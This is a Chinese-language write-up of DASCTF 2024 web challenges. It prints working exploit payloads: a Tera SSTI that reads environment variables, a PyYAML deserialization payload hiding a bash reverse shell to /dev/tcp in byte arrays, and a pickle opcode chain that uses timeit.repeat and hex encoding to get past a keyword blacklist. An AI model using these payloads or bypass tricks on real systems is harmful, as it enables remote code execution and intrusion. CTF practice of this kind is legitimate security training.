LOADING

加载过慢请开启缓存 浏览器默认开启

DASCTF 2024最后一战 WriteUp题解

2024/12/22 题解 CTF WriteUp
字数统计: 1.2k字 阅读时长: 约5分 本文阅读量:

Checkin

签到题

后续题目给出提示后才知道是敏感信息泄露。

尝试读game.wetolink.com下面的www.zip、robots.txt、.git/,在robots.txt即可找到flag。

西湖论剑邀请函获取器

给出第二个提示就很明显是SSTI了…

但同时根据提示只需要读环境变量,还是Rust写的,猜测是Tera模板引擎。

而对于读环境变量,查阅资料了解到可以直接使用内置函数get_env读取…

所以payload:

{{ get_env("FLAG") }}

Web

yaml_matser

附件给出了app.py的完整源码,再看到Yaml就不难猜到是考察PyYaml反序列化。

关键:

def waf(input_str):
    blacklist_terms = {'apply', 'subprocess','os','map', 'system', 'popen', 'eval', 'sleep', 'setstate',
                       'command','static','templates','session','&','globals','builtins'
                       'run', 'ntimeit', 'bash', 'zsh', 'sh', 'curl', 'nc', 'env', 'before_request', 'after_request',
                       'error_handler', 'add_url_rule','teardown_request','teardown_appcontext','\\u','\\x','+','base64','join'}

    input_str_lower = str(input_str).lower()

    for term in blacklist_terms:
        if term in input_str_lower:
            print(f"Found blacklisted term: {term}")
            return True
    return False
...
@app.route('/Yam1', methods=['GET', 'POST'])
def Yam1():
    filename = request.args.get('filename','')
    if filename:
        with open(f'uploads/{filename}.yaml', 'rb') as f:
            file_content = f.read()
        if not waf(file_content):
            test = yaml.load(file_content)
            print(test)
    return 'welcome'

其中,yaml.load方法就是执行PyYaml的关键方法,而waf中并未ban掉exec,所以可以使用最简单的打PyYaml的payload:

!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: 'print(1)'

但是这道题还没有回显,考虑使用反弹shell。

再加之waf中过滤了os、sytem、sh等,但是没有过滤byte和decode,所以可以使用 bytes([]).decode() 这样的形式绕过。

最终的payload为:

!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: '__import__(bytes([111,115]).decode()).__getattribute__(bytes([115,121,115,116,101,109]).decode())(bytes([98,97,115,104,32,45,99,32,34,98,97,115,104,32,45,105,32,62,38,32,47,100,101,118,47,116,99,112,47,105,112,47,112,111,114,116,32,48,62,38,49,34]).decode())'
# __import__('os').__getattribute__('system')('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"')

将这个a.yaml上传上去,然后访问 /Yam1?filename=a 即可get shell:

alt text

const_python

根据提示进/src读源码,显然,这是一道考察Pickle反序列化的题目。

关键:

@app.route('/ppicklee', methods=['POST'])
def ppicklee():
    data = request.form['data']

    sys.modules['os'] = "not allowed"
    sys.modules['sys'] = "not allowed"
    try:

        pickle_data = base64.b64decode(data)
        for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
                 'compile', 'requests', 'exit',  'pickle',"class","mro","flask","sys","base","init","config","session"}:
            if i.encode() in pickle_data:
                return i+" waf !!!!!!!"

        pickle.loads(pickle_data)
        return "success pickle"
    except Exception as e:
        return "fail pickle"

最开始是猜测要通过Pickle反序列化修改admin的密码,然后会有进一步的提示,但是发现利用以下opcode:

c__main__
admin
(Vpassword
V123456
db.

修改密码后的确可以登录admin,但是/admin路由下也什么都没有。

进而要考虑其他方式。

根据题目提示flag位于根目录下的/flag,所以就是要想办法读到flag。

但是这道题ban的还挺彻底的,os、eval、exec都不能用了。

查阅资料了解到可以通过其他会调用回调函数的方法来调用,如:timeit.repeat()

然后给它传入一个经过 codecs.docode() 处理的python脚本字符串即可。

简而言之可以将 timeit.repeat() 当成 eval() 来用。

但是这道题还把base ban掉了,所以用不了base64绕过,考虑使用hex绕过。

RCE的思路已有,现在只需要将/flag的内容带出来就可以了,但是这道题将os和sys强制写成字符串了,用不了。

本考虑使用requests库把/flag的内容作为请求发出来,但是经过本地调试发现requests库会调用sys导致报错。

最后突发奇想,因为/src路由可以读源码,可以试试直接将/flag的内容追加到app.py的末尾。

所以执行的脚本是:

exit(open('app.py','a+').write("#"+open('/flag','r').read()))

为了避免陷入死循环,使用一个exit直接结束程序。

最终payload:

ctimeit
repeat
(ccodecs
decode
(ccodecs
decode
(V65786974286f70656e28276170702e7079272c27612b27292e7772697465282223222b6f70656e28272f666c6167272c277227292e7265616428292929
Vhex
tRtRtR.

提交POST请求,再访问/src即可得到flag。